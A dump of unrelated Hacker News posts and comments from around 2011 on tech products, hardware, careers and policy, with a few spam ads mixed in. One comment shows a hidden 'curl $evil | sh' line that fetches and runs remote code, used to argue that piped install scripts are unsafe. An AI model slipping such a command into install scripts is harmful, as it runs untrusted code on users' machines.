skysight-inc/HackerNews huggingface dataset:
2011, My wishlist about Google Products
1) Google Apps for Business 服务能够集成 Google Buzz, 除了 Wave，我们的确需要一个协作工具，哪怕是消息通知也好；

2) Google Talk 升级一下功能，增加个 Group Chat 功能吧。尽管我个人很讨厌“群”这个功能；

3) Google Reader 能开放 API ，允许网志作者提取读者发布在 Google Reader 内的评论；

4) Google Code 修改一下页面 Title 页面风格；

5) Code Review 工具正式进入 Google Apps ；

6) Google Adsense 收入能够直接通过 Paypal 、Alipay 支付给用户；

7) 改进一下 Google Task 吧，这个产品真的很重要。

8) 期待这个列表能被Googler 看到，并且真的能就某个建议做出改进。

大家还有什么期望？不要太大，小处能改进就是最好的了。
Ask HN: What malloc implementation is better for mobile devices?
Got to wondering about this after seeing the jemalloc post at Facebook the other day.

Related Quora link: http://www.quora.com/What-is-a-good-malloc-implementation-for-mobile-devices?q=malloc
Crucial SSDs use a Marvell/Micron controller which does very well in many benchmarks. http://www.anandtech.com/show/3812/the-ssd-diaries-crucials-...
They did that already. It's called .NET
Unfortunately, vendors and employees don't yet accept payment in feedback.
It's quite impractical for them to "support" SSD. The way (I assume) their infrastructure works would basically mean that the speedup you get from SSD would be nullified by the rest of the IO needs imposed by their stack. That is, if they were to simply move one service (in this case, EBS) to SSD.

The only way I see this happening is if they start adding servers with SSD, where all services running on those servers support SSD too. This would basically mean a separate cluster, fully based on SSD. I don't see this happening soon.
But there is the Cortex A-15 which puts ARM in the Intel perf ballgame. Not surprisingly, I've heard grumblings for nearly the past decade of an ARM version of Windows in various states of stability. It will be interesting to see how far along this is.

The issue with x86 and clocks had little do with Windows, and more with the Blue Crystal effect (MHz sell CPUs not perf). There's a great insider book about this called "The Pentium Chronicles" by the chief architect of the P6.
Superheroes, Organic Food, and Living a Better Life
Shock?
Ask HN: Help Me Change Jobs
I've had enough. I need a change. I could use some help making a change. For a little more background on my situation look at: http://news.ycombinator.com/item?id=2053659

I realized a several months ago that I needed to change jobs. At my current job there are lots of smart people and the pay is good, but the job is sucking everything out of me. It's amazing how things went from great to miserable over a span of several years (I'll just say more than 7 years). The last few years have been rough and I'm going through the motions to get things done. Most of my growth is coming from personal projects that I find interesting.

Professionally I'm working mostly on "visualization" desktop software, but I've been wanting to do web stuff for a while. I haven't done much web work professionally, but most of my personal projects have been small web projects. The ultimate goal is to start my own company, but now I need to switch to something that I can get more satisfaction from.

I'm mostly looking for advice, but anything anyone can share (leads, etc.) would be greatly appreciated. I can be reached at help.jobchange@gmail.com if anyone wants to discuss anything via email.

Also, I realize that I'm very lucky to have a job that allows me to support my family. It would be great to be able to support my family and do something that I enjoy...
I have first gen ( dual 66 ppc ) and second gen ( dual 133 ppc ) beboxes. i ran far more than 4 movies with no hiccups. so much more. the media performance on the BeOS back in the 90s w/ a tiny amount of RAM still blows away any OS I have used.

Ever GUI OS I have used before that or since then has seemed like a bloated slow old pig in comparson.
Great that it's listed in his official list of papers.

From http://www.scs.stanford.edu/~dm/home/papers/

"Submitted to the 9th World Multi-Conference on Systemics, Cybernetics, and Informatics, Orlando, FL, July 2005... Note: We never received official notification of whether the paper was accepted or rejected."
Where can I hire designers?
I need a new icon and UI for my iPhone app - Definition.

Been looking through oDesk but somehow it doesn't really appeal to me. Browsing through Forrst and Dribbble is driving insane too. Anyone has any good contacts experienced in iOS design?
I actually like this site quite a bit. I use Grooveshark all the time and find it difficult to "explore" new music on it. Perhaps if this site makes that easier then I will use it often.

Also, perhaps some form auto complete suggestions as you type in a song name to add to your playlist?

Right now, though, it doesn't really seem to offer anything that Grooveshark itself doesn't.
The problem Microsoft faces is that the primary selling point of Windows is the third-party software... which won't run on ARM.

Solutions: all providers recompile for ARM (unmanageable). W8 emulates x86 (slow). W8 does very tricky JIT recompilation of x86 to ARM, as if it were a VM (amazing).

Launching .Net a few years back means that at least all software written for that is trivially retargeted. A clever (or serendipitous?) leveraging of its platform.

Apple tackled this problem differently: by banning alternative software platforms from iPhone/iPad, they rapidly created a substantial 3rd party software base of native apps from nothing.
"in the event of a crash the data is recovered from the transaction log"

Doesn't this statement imply that a disk hit occurred before a client is told that a transaction committed (vs. being told that a unique key constraint was violated, etc.)? I'm talking about a more extreme form where I don't have to wait multiple milliseconds for a disk platter to spin around before continuing with my processing.
I think the most significant thing to learn at the OP's stage is dealing with bigger codebases. Anyone can program something in 1000 LOC. 10000 is already harder, but I think there is a guenuine difference when it goes to the next level, because at that point, you cannot do everything, and you are forced to spend more time reading than writing.

Contributing to open source projects is the obvious thing to do there. Try to pick up a project which reacts relatively quickly to patches and which of course is of some interest to you :)
> I can't see what Haiku offers that modern OS X doesn't.

It is free and it doesn't require proprietary hardware?
I tried to create a fluin called (lisp programming) and it attempted it but then subsequently died as obviously the parens aren't welcomed in the subdomain. Maybe make it clear that the name must be a valid subdomain name or put an input filter/mask on the text box?
What part of the GUI do you find clunky?

I've always like the BeOS interface... then again I also really liked CDE. There are plenty of things I would want to change about the Be interface that Haiku implements but, I think that would be iterative not replacement.
open source and not locked to the mac hardware ?
So, no physical disk write need occur before a client can continue with processing? If so, cool.
Could you give an example or two of questions on the same level as those "simple questions"?
>"Windows as a system is clearly not clean enough at the moment to easily switch architectures without needing a lot of complex compatibility stuff thrown in."

Windows currently runs on two radically different architectures...x86/x64 and Itanium. It has for more than nine years.

http://en.wikipedia.org/wiki/Itanium#Architecture

http://en.wikipedia.org/wiki/Windows_XP_editions#Windows_XP_...
US government getting more interested in IPv6
What should they be called instead?

insert joke about currently being called "cattle"
"1000+", not "1000x". Also, I'm assuming bigfudge was talking about p < 0.0001, given the comparison made to physicists.
Do you really think there's no such thing as "low-value speech"? I'm not asking whether you think it's OK to regulate it.
Google Analytics exists so marketers can measure the impact their AdWords and AdSense spend is making and turn around and get a bigger budget.

It doesn't really try to be a business analytics tool - nor a real time analytics tool.

So the answer to your question is "Because that's not their business."

(Some of the more tin-foil hat wearing PPC guys out there say it's an incredibly bad idea to share your conversion rates to people that sell ads to both you and your competitors in an auction. This is probably not wrong.)
http://code.google.com/p/googleappengine/issues/detail?id=35... says it all:

Well said, I've been biting my tongue for ages on this particular thread. I
would definitely encourage anyone who is thinking about commenting on this
post to at least read back through the comments, see comment 46 for
instance regarding appenginejs (http://www.appenginejs.org) and from my own
investigation's I can confirm that ringojs (http://ringojs.org/) offers some
great support for AppEngine right now:

https://github.com/ringo/ringojs/tree/master/apps/appengine

I'll write a blog post on how to make it all work at some stage, but it
really isn't that hard.

Please stop commenting on this thread which is "please add Javascript" when
really what you want is node.js and a V8 runtime. Scalable server side
Javascript on AppEngine is available now, so get out and try it
I use Mac OS X every single day and I would freely admit it is a giant bloated memory sucking pig. My finder was using 100 megs of memory yesterday. Why? Who knows but for me I'd like to have a lean OS with good features rather than one that I need to reinstall every year because it suddenly becomes a sluggish, memory sucking pig like my Mac OS X machines have over the last 5 years.

Haiku isn't a memory pig- I'd like to see that ideal come back in OS design.

And yes, I am transfixed with 'memory sucking pig' as a phrase right now.
> It could be that there is a reproducible 1% "mystery" effect that works from future to past, but only in experiments like this. In which case claim wouldn't be extraordinary, it'd just be something we can't understand.

Erm, no, that would be pretty damn extraordinary. We know of nothing else in the universe that acts like this.
I agree that it shouldn't make any different, logically, but then your control group still isn't truly a control group. Your results could be doubted on the basis of things like the participants knowing too much about the experiment and trying to guess patterns in the RNG.
People want to do a lot of things, dude.
What' driving the growth? The ease of deploying virtual applications (e.g. Turnkey Linux) to services like EC2?
languages have large math errors? can you explain that?

the haiku apis are C++. how that leads to math errors w/ other languages well... umm... what?
I agree with your comments in general, and I have developed apps on iOS and Android personally; I had a somewhat similar experience to what you describe.

That said, I was actually thinking of a different point, and one that is still a significant pain point for developers (really on both platforms) -- app discovery. It's bad on both platforms, but it's definitely worse on Android.

This is in part because of Google's ethos and choices -- search many a word on the Android market, you'll find what you were looking for, and six copies of the same name item from China which ask for dubious permissions -- and in part, just the nature of the app-sales-on-a-small-mobile-screen beast right now.

Apple has this same problem, as evidenced by the many, many graphs showing the sales hockeystick once you hit 'top ten' status, but my guess is that there is a little more love shared around with different developers than with Google.

Why do I think that? I think that because "Robo Defense" has been a top game on Android since I bought my first G1. Every day, every week, every month.

Rather than someone at Google judiciously marketing and bringing out new app and game developer product on the 'top' section of the store, they are totaling up all sales ever, and giving those people top slots. This is what I mean by the algorithm making things worse, in this case, particularly for app discovery.

Even a simple 'tops this month' with an editor-chosen list on the first day of the month would make a big difference in reach for developers.

In the end, I guess I disagree with you -- I think the Android app store is broken, as is the Apple app store. It's just that Google's is a little bit worse, and doesn't seem to have a credible plan to change the game yet. We'll see!
Let us know if that works.
You do understand that bars and venues pay site licenses to PROs like ASCAP and BMI, don't you? And DJs don't need permission thanks to compulsory licenses, but they are required to report all plays if they're on-air or spin records in a licensed venue.
Ask HN: 4 Hour Body Challenge
Is anyone else reading the 4 hour body and interested in the weight loss section. My brother and I are starting on the 10th of this month. I've already noticed small changes in how I eat before the official start.

Anyway, is there anyone else that would be interested in publicly documenting their progress? If so post below or shoot me an e-mail: noah@noahc.net
It's rare that someone who can write excellent code on a whiteboard can't do so on a terminal. The goal of an interview, in my experience, isn't usually to find a way to let the candidate shine, but find only the best person for the position.

If the candidate draws a blank writing code on a whiteboard, that indicates they have poor whiteboard skills - which is a pretty important skill to have in a team environment.
I'm going to start doing this

[NSError errorWithDomain:@"User Stupid Domain" code:1 userInfo:userInfo];

https://github.com/benofsky/Focus.app/blob/master/FocusContr...
What Everyone Seems to Miss In Facebook's Private or Public Debate...
Different levels of speech get different protection (political speech, commercial speech, etc.) but I don't like the term "low-value speech". Who decides the value?
It's hard for me to gather sympathy for an industry that fines people thousands of dollars per song.

http://www.eff.org/wp/riaa-v-people-years-later

"The organization also targeted a fully disabled widow and veteran for downloading over 500 songs she already owned. The veteran’s mobility was limited; by downloading the songs onto her computer, she was able to access the music in the room in which she primarily resides. The RIAA offered to settle for $2,000, but only if the veteran provided a wealth of private information regarding her disability and her finances"

If Grooveshark has found a legal loophole that will let this disabled widow listen to her music in comfort, which she already purchased once, more power to them. Sign me up for as many petitions as I can legally sign.
Moore's law probably gives them enough speed to use x86 for very old software , .net gives them good results for new software .
My first thought on reading the title: "Ah, Google, the company with no customers.."
What about categorically low-value speech? Deliberately false and malicious speech?
Anonymity is vitally important. The claim is that sunshine is a good disinfectant, and that's generally true, but when it comes to communication, sunshine (the scrutiny of others) can have the opposite effect, it can infect your speech with false ideas. Our time is as bad as any other when it comes to heresy.

There are groups out there who will persecute you for saying the truth. If you don't believe this, try taking a public stand against the actions of a certain new religion. Or try making any criticism at all of a certain old religion. These groups and others like them have made it extraordinarily costly for an individual to associate themselves with perfectly correct beliefs. And now the same groups would like to strip others of their anonymity, ostensibly so they can stamp out any dissent at all.

As someone who values the truth, I find this troubling.
90% of users won't read a script if you ask them to.

9% of users will read the script but won't notice my carefully concieled exploit code -- because my exploit code is just another seemingly innocent "curl $evil | sh"

And if 99% isn't enough, you just MITM the github connection instead.

(I am he. If I had an serious opinion I'd not post it here though.)
RSS sucks because it's the bastard child of long content and short content.

Until publishers can figure out how to write for medium length content, it will be tucked away for use by self professed nerds who like to access and manipulate information quickly.
Good grief -you have a github account that you put code on. You've already put yourself ahead of 90% of the candidates applying for a position as a developer - don't sell yourself short.
Have you considered Riak+RiakSearch? I'm in a similar bind, and have been looking into that.
Traveling through India I saw many people using what I think are called neem sticks. I don't know much about the science or efficacy, but if you're curious, explore away.
Facial bones reflects the effects of aging
Investigation into alleged TSA thefts at JFK Airport
Google's customers are the companies that buy their ad space.
Haven't seen this. What is it?
It's Not Your Imagination: Your Juice Has Been Downsized
Here is what worked for me:

1. Become active in the community you want to get involved in. If it's startups, you're at the right place. Start to build a reputation. Start to make connections. Honestly, I thought I had to become the next bingocardcreator before I'd really get opportunities. I was wrong. 40 - 50 good HN comments and a strong e-mail go a long way.

2. Either look for opportunities as they pop up (Now Hiring Threads) or be proactive and send out potential cover letters basically outlining specific skills you have that might be a good match and then ask if they are interested.

3. It took me from August to the beginning of this year to really find something that I'm over 100% excited about, but it was worth the wait. Just keep producing...Code, blogposts, HN comments, etc that you can point to.

4. Good Luck!
Their customers are advertisers + they have a ton of premium products
Building something doesn't teach you much about quality if you don't have someone to review/assist every now and then.
I think Facebook's way past being the 'new' thing. People are finding a use for it beyond 'old acquaintances becoming newly visible".

You have the average user who uses it to keep in touch with friends, but you also have a growing number of users who are using Facebook in more and more creative ways. I personally know a couple of hundred friends who have thousands of pictures hosted on it (not something they'd give up easily), I've seen my mother find all her elementary classmates and organize a reunion spanning several states all within 2 months (surprised even me, I didn't think she got past her yahoo email).

My point is, Facebook's utility for its users is still increasing, something that stagnated in Myspace' case. We haven't even touched on the social gaming aspect of it (If I see another cityville invite I swear I'll block them fools). Growth to me involves more creative ways to involve its existing users, as well as of course growing its numbers (which it is). There's still the potential of its international users (which I believe is larger than its US Mainland users), increased corporate/business identities on the site, social commerce (barely touched), organized product reviews, that new mail system it's supposedly rolling out, and so on. We can talk numbers, but potential for monetizing their existing userbase appeals to me more.
Wide Variety Of Market Umbrellas
We offer many types of market umbrellas to meet your needs and add style to your patio or deck with this wonderful market umbrella.
this is exactly the reason why salvatore has been working on diskstore for the 2.4 release. redis + VM in production is indeed a bad idea.

The thread this post links to is actually quite interesting as you can pretty much read the design changes that led from VM to the new diskstore implementation. The sensationalist title here doesn't help at all - I don't think people who are making heavy use of Redis in production are 1) using VM and 2) unaware of VMs problems if using it.
Weak accept.
Ask HN: Can we do away with the typical Hi XX in emails?
Emails are meant to be instant. Aren't these salutations slowing us down?
Its a new book by Tim Ferriss.
What's the problem? There's one user, it's their data on the drive, and they can do what they want with it.

In any case, root isn't the solution. It's a bug in Unix that Plan 9 fixed.
How I Work - learn about new tools by watching screencasts
Richard Kuritz | dui Florida
The internet provides a wonderful mechanism to research your potential criminal defender. These are wonderful sites to learn more about the person you will entrust your life with. For more details about criminal lawyers Florida, please visit our website.
I haven't done the cost analysis lately, but what this does is bring more IOPS in at a lower price point. The cost of RAM is not static, the more you have the more expensive it gets because you need better motherboards and specialized chassis to handle it and really manage all those buses. SSDs bring in an intermediate point between magnetic disks and RAM so that you can get some more IOPS in at that lower price point.

Of course, if you need all you can get you should always go for just RAM, but you can get a significant improvement with a modest investment through SSDs.

The best example would be the large data set (say 100GB with a random access pattern or 100GB of working set) with enough requests that it starting to strain the RAID system you have. At this point your medium is saturated so latency is going up and up. Getting 128 GB of RAM is expensive, but swapping those drives out for a few 100GB SSDs is not hard and may alleviate the DB bottle-neck until something else becomes the bottle-neck and you need to change that anyway. Switching to RAM wouldn't have bought you anything more than the SSDs because in both cases you are getting acceptable performance up to the next bottleneck.

I'd like to think that SSDs will get us to the point that we don't have to worry about disk latency and can just toss data on there without having the database always be the bottleneck.
This feels awfully late given that Windows CE has supported ARM since 1996. I never understood why Microsoft was reluctant to get a full-blown XP running on ARM (minus the x86 & DOS hamstrings). Windows CE always felt like a precursor to something that Microsoft didn't have the vision to follow through with.
I saw the 25 million deal that went through at $2.25 a share which was just below market rates.

Assuming things are worse and you could again get just below market rates would it be unreasonable to assume you could get it at .75 a share or ~54M (72.04 * .75)?
I did this too (redirect2www.com/74.53.18.72). So easy I'm surprised no one at Google/etc has done it with a slick IP address like they did for DNS.
A Blog with MS DOS interface
This is true, although unfortunately Server 2008 R2 will be the last version of Windows to support Itanium:

http://blogs.technet.com/b/windowsserver/archive/2010/04/02/...

Although the article indicates that support will be rolling around for a while.
> Have you ever been to a bar that played music you don't own? Did the bar steal from the artist by letting you and others hear something you don't own? Should the DJ call the artist first to get permission?

Actually, yes. Bar do get sued when they haven't licensed the music properly, and I recall hearing of instances of them being sued successfully merely for having music played over the radio to a large audience, because it wasn't licensed correctly. Of course, it's only the large labels who actually have the resources to do this; bands would probably generally be okay with it (exposure, increasing the chance of people buying their records or going to their shows).
If you're bootstrapping a company that you cannot afford to bootstrap, then by all means, figure out how to bring in money ASAP.

On the other hand, if you can afford to develop a loyal user base first, then that is your best path to success.